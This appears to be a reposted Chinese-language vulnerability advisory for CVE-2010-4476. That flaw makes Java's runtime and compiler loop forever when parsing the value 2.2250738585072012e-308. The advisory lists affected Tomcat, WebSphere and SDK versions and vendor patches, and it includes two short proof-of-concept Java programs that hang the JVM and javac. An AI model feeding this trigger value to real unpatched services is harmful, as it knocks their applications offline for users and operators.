Oracle Java畸形浮点值拒绝服务漏洞

发布日期:2011-02-01
更新日期:2011-02-14

受影响系统:
Apache Group Tomcat 5.0 - 7.0.6
IBM Websphere Application Server 6.1.0.27 - 6.1 .33
Sun SDK 1.3.1 - 1.4.2_24
IBM Runtimes for Java Technology 5.0
不受影响系统:
Apache Group Tomcat 7.0.8
Apache Group Tomcat 6.0.32
IBM Runtimes for Java Technology 5.0 SR12 FP 4
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 46091
CVE ID: CVE-2010-4476

Java运行时环境(JRE)为JAVA应用程序提供可靠的运行环境。

Oracle Java在处理畸形的数值时存在漏洞,远程攻击者可利用此漏洞造成以Java编写的应用程序挂起,造成拒绝服务。

在转换十进制数字2.2250738585072012e-308为双精度二进制浮点值时,Java的运行时和编辑器都进入到无限循环。此数字应转换为0x1p-1022即DBL_MIN,但是java陷入0x1p-1022和0x0.fffffffffffffp-1022之间的循环。

<*来源:Konstantin Preisser
  *>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Konstantin Preisser ()提供了如下测试方法:

Send a Java Program Into An Infinite Loop

Compile this program and run it; the program will hang (at least it does on a 32-bit system with the latest JRE/JDK):

class runhang {
public static void main(String[] args) {
  System.out.println("Test:");
  double d = Double.parseDouble("2.2250738585072012e-308");
  System.out.println("Value: " + d);
}
}

Send the Java Compiler Into An Infinite Loop

Try to compile this program; the compiler will hang:

class compilehang {
public static void main(String[] args) {
  double d = 2.2250738585072012e-308;
  System.out.println("Value: " + d);
}
}

建议:
--------------------------------------------------------------------------------
厂商补丁:

IBM
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

Sun
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/wwszwp.html